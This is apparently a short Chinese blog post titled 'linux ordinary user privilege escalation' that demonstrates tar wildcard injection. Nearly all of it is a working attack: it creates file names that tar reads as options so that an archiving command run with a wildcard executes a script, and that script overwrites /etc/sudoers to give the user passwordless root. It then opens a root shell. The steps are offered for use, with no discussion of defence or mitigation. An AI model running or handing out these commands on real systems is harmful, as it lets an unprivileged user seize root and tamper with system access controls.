首页 > 技术文章 > linux普通用户提权

chenglee 2018-07-26 11:04 原文

tar通配符注入.

echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh

echo "" > "--checkpoint-action=exec=sh demo.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

sudo -l
sudo bash
whoami

如下所示

 

推荐阅读